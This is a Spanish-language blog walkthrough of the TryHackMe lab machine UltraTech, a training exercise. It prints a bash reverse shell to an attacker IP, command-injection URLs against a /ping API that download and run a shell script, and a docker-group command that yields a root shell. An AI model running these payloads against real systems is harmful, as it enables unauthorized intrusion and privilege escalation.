TryHackMe | UltraTech

Introducción

Ultratech es una máquina en TryHackMe, una plataforma de entrenamiento en seguridad informática. Durante el proceso de enumeración de la API de Ultratech, encontramos una vulnerabilidad de inyección de comandos. Aprovechando esta vulnerabilidad, logramos obtener acceso a hashes que estaban almacenados en una base de datos. Estos hashes nos permitieron obtener las credenciales de un usuario específico.

Para aumentar nuestros privilegios en el sistema, utilizamos Docker. Docker es una plataforma de contenedores que nos permitió crear y ejecutar aplicaciones en un entorno aislado. Aprovechamos Docker para escalar nuestros privilegios y obtener un mayor control sobre el sistema.

Enumeración

Puertos abiertos

Comenzamos la resolución de la máquina enumerando los puertos abiertos que tiene la máquina objetivo.

nmap -p- --open --min-rate 2000 -Pn -n 10.10.80.247

Cuatro puertos abiertos: 21, 22, 8081 y 31331. El siguiente paso es la enumeración profunda de estos servicios.

nmap -p21,22,8081,31331 -sVC -Pn -n 10.10.80.247

Servicios abiertos:

  • Puerto 21 -> FTP -> VSFTPD 3.0.3
  • Puerto 22 -> SSH -> OpenSSH 7.6
  • Puerto 8081 -> HTTP -> Node.js
  • Puerto 31331 -> HTTP -> Apache httpd 2.4.29

Enumeración Web

En la máquina objetivo, se están ejecutando dos servidores Web en los puertos 8081 y 31331. Veamos el contenido de los dos servicios Web en el navegador.

Puerto 8081

Puerto 31331

Vamos a enumerar directorios y archivos para ambos servicios Web.

dirsearch -u "http://10.10.80.247:31331/" -i 200,301 -t 20
dirsearch -u "http://10.10.80.247:8081/" -i 200,301 -t 20

Interesante ese archivo robots.txt. Veamos su contenido.

Probamos inyecciones SQL pero no es vulnerable. Veamos el código fuente. Encontramos un archivo api.js que puede ser interesante.

Vamos a ver su contenido.

Encontramos una nueva ruta en este archivo. Veamos su funcionamiento.

En nuestra máquina de ataque, ejecutamos tcpdump para capturar los paquetes icmp.

tcpdump -i tun0 icmp

Explotación

La máquina objetivo nos hace ping. Vamos a a tratar de utilizar este vector para tratar para cargar una shell reversa para tratar de conectarnos a la máquina objetivos.

Creamos un archivo bash con la reverse shell.

bash -i >& /dev/tcp/10.11.32.85/1234 0>&1

Levantamos un servidor Python para enviar este archivo a la máquina objetivo. Para enviarlo a la máquina víctima, ejecutamos de la siguiente manera:

http://10.10.80.247:8081/ping?ip=10.11.32.85||`wget%2010.11.32.85/shell.sh%20-o%20shell.sh`
http://10.10.80.247:8081/ping?ip=10.11.32.85||`bash%20shell.sh`

Por otro lado, levantamos un oyente nc en el puerto 1234.

Obteniendo acceso al sistema. Ahora es momento de enumerar.

Una base de datos sqlite. Vamos a enumerar su contenido.

Encontramos dos posibles usuarios con lo que parececn los hashes de sus contraseñas.

Pivotando a usuario «r00t»

Enumerando en el directorio /home, vemos que uno de los usuarios de sistema es «r00t» del cual tenemos credenciales. Vamos a tratar de iniciar sesión con ellas.

Obtenemos acceso como usuario «r00t».

Elevación de privilegios

Vamos a enumerar vectores de escalada de privilegios.

Nuestro usuario no puede ejecutar sudo.

Vamos a ver el archivo crontab.

Nada interesante.

Versión de kernel.

Esta versión no presenta vulnerabilidades.

Vamos a enumerar a que grupos pertenece el usuario «r00t»

El usuario r00t pertenece al grupo docker. Podemos utilizar docker para obtener una shell como usuario root.

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Y ya estaría acabada la máquina UltraTech de la plataforma TryHackMe

No responses yet

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *